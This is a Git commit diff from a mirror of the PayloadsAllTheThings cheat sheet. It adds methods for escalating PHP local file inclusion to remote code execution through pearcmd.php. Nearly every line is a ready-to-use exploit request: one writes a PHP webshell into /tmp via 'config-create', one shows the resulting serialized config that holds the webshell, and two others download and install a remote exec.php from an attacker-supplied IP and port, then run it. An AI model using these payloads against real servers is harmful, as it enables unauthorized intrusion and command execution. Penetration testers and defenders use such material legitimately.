ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-19 19:06:12 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Add two methods about LFI to RCE via PHP PEARCMD

Browse Source
This commit is contained in:
Str3am 2023-11-01 00:26:27 +08:00 committed by GitHub
parent 156990a2c6
commit 072cac04d6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 23 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

27
File Inclusion/README.md
View File

@ -507,7 +507,7 @@ The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directi
register_argc_argv = On register_argc_argv = On
``` ```
There are two ways to exploit it. There are this ways to exploit it.
* Method 1: config create * Method 1: config create
```ps1 ```ps1
@ -519,13 +519,28 @@ There are two ways to exploit it.
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+" /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+"
/vuln.php?file=/tmp/exec.php&c=id /vuln.php?file=/tmp/exec.php&c=id
``` ```
The created configuration file contains the webshell.
```php
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
```
The created configuration file contains the webshell. * Method 3: download
```php Need external network connection.
#PEAR_Config 0.9 ```ps1
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";} /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
``` /vuln.php?file=exec.php&c=id
```
* Method 4: install
Need external network connection.
Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
```
## LFI to RCE via credentials files ## LFI to RCE via credentials files